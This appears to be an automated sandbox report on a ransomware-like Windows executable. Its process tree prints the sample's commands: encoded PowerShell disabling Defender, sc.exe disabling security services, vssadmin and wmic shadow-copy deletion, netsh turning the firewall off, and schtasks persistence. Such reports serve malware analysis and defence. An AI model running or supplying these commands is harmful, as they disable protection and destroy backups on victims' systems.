Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    05/05/2026, 00:30

General

  • Target
    gsdec.network_hyber.exe
  • Size 51KB
  • Sample260505-atfleaat2m
  • SHA256 b5e3a6b9aefc624e33d73b8b883c78b64e7b8f2f41fe15d9532f98f9bc70193f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\gsdec.network_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\gsdec.network_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4964
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:3320
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3852
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:3084
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4828
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3692
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2632
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4244
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4292
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2040
      • C:\Users\Admin\AppData\Local\Temp\gsdec.network_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\gsdec.network_hyber.exe"
        3⤵
          PID:944
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:1988
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\gsdec.network_hyber.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5108
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4932
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:624
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5088
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1900
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:548
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2204
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1064
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4884
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1504
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3352
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3848
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:4344
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4416
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:4236
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4936
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:4896
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\gsdec.network_hyber.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1316
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:4776
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:3800
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:764
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3932
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4836
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:4172
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:4528
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:2392
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:5104
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3992055 /state1:0x41c64e6d
                1⤵
                • Drops desktop.ini file(s)
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:3956
              • C:\Users\Admin\AppData\Local\Temp\gsdec.network_hyber.exe
                C:\Users\Admin\AppData\Local\Temp\gsdec.network_hyber.exe
                1⤵
                  PID:1584
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4940
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                  1⤵
                    PID:1316

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        LockScreen___1920_1080_notdimmed.jpg

                        • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-2714754311-527593155-1440850301-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
                        • Size 760KB
                        • SHA256 a9a673eaf675868fb7cb92220fdbde85dd39e51449ad4f6a5065e951ecad7792
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 69KB
                        • SHA256 ca8f72d72118f92925a78ce8a335fa543465b9bf5bd3043746d45540d5d7d259
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 68KB
                        • SHA256 c97c7c859ed7185eb48a7f198ce078cdb5a371c95489584d597eac50194bffcf
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        gsdec.network_hyber.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\gsdec.network_hyber.exe.log
                        • Size 660B
                        • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_ub5hrbtu.j1s.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ub5hrbtu.j1s.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 244B
                        • SHA256 f6679641085b35a2fe2bb2d96328665c946241e0fd867c11d12f23c4c262be1d
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 245B
                        • SHA256 d353ab68dc6792ff8983a6c46b36a2d5b2cd4c952e7299bd72a7a9ff246beddc
                        • MD5 SHA1 SHA512 TLSH

                        sysupdate.exe

                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 51KB
                        • SHA256 b5e3a6b9aefc624e33d73b8b883c78b64e7b8f2f41fe15d9532f98f9bc70193f
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/548-2280-0x000002A0C6880000-0x000002A0C6929000-memory.dmp

                        memory/624-2260-0x000001C40E920000-0x000001C40E9C9000-memory.dmp

                        memory/764-2275-0x00000206BC630000-0x00000206BC6D9000-memory.dmp

                        memory/1064-2278-0x00000211D6450000-0x00000211D64F9000-memory.dmp

                        memory/1988-2242-0x0000013413360000-0x000001341336C000-memory.dmp

                        memory/1988-2241-0x0000013414E90000-0x0000013414F39000-memory.dmp

                        memory/2040-27-0x0000018484D80000-0x0000018484E29000-memory.dmp

                        memory/3800-2277-0x000001E638C20000-0x000001E638CC9000-memory.dmp

                        memory/3800-2265-0x000001E63A9E0000-0x000001E63A9E1000-memory.dmp

                        memory/3956-2263-0x00000230A2F40000-0x00000230A2FE9000-memory.dmp

                        memory/4776-2254-0x000001952FD50000-0x000001952FD5C000-memory.dmp

                        memory/4776-2253-0x0000019531A20000-0x0000019531AC9000-memory.dmp

                        memory/4940-2282-0x0000019815710000-0x00000198157B9000-memory.dmp

                        memory/4964-31-0x0000029BA18B0000-0x0000029BA1959000-memory.dmp

                        memory/4964-32-0x0000029BA35A0000-0x0000029BA35AC000-memory.dmp

                        memory/4964-19-0x0000029BBB8F0000-0x0000029BBB912000-memory.dmp

                        memory/5116-2264-0x000000001B3C0000-0x000000001B3D0000-memory.dmp

                        memory/5116-2262-0x000000001C990000-0x000000001CA39000-memory.dmp

                        memory/5116-2261-0x0000000000DD0000-0x0000000000DDC000-memory.dmp

                        memory/5116-0-0x0000000000710000-0x0000000000724000-memory.dmp

                        memory/5116-15-0x000000001E0A0000-0x000000001E5C8000-memory.dmp

                        memory/5116-14-0x000000001DED0000-0x000000001E092000-memory.dmp

                        memory/5116-1-0x000000001B3C0000-0x000000001B3D0000-memory.dmp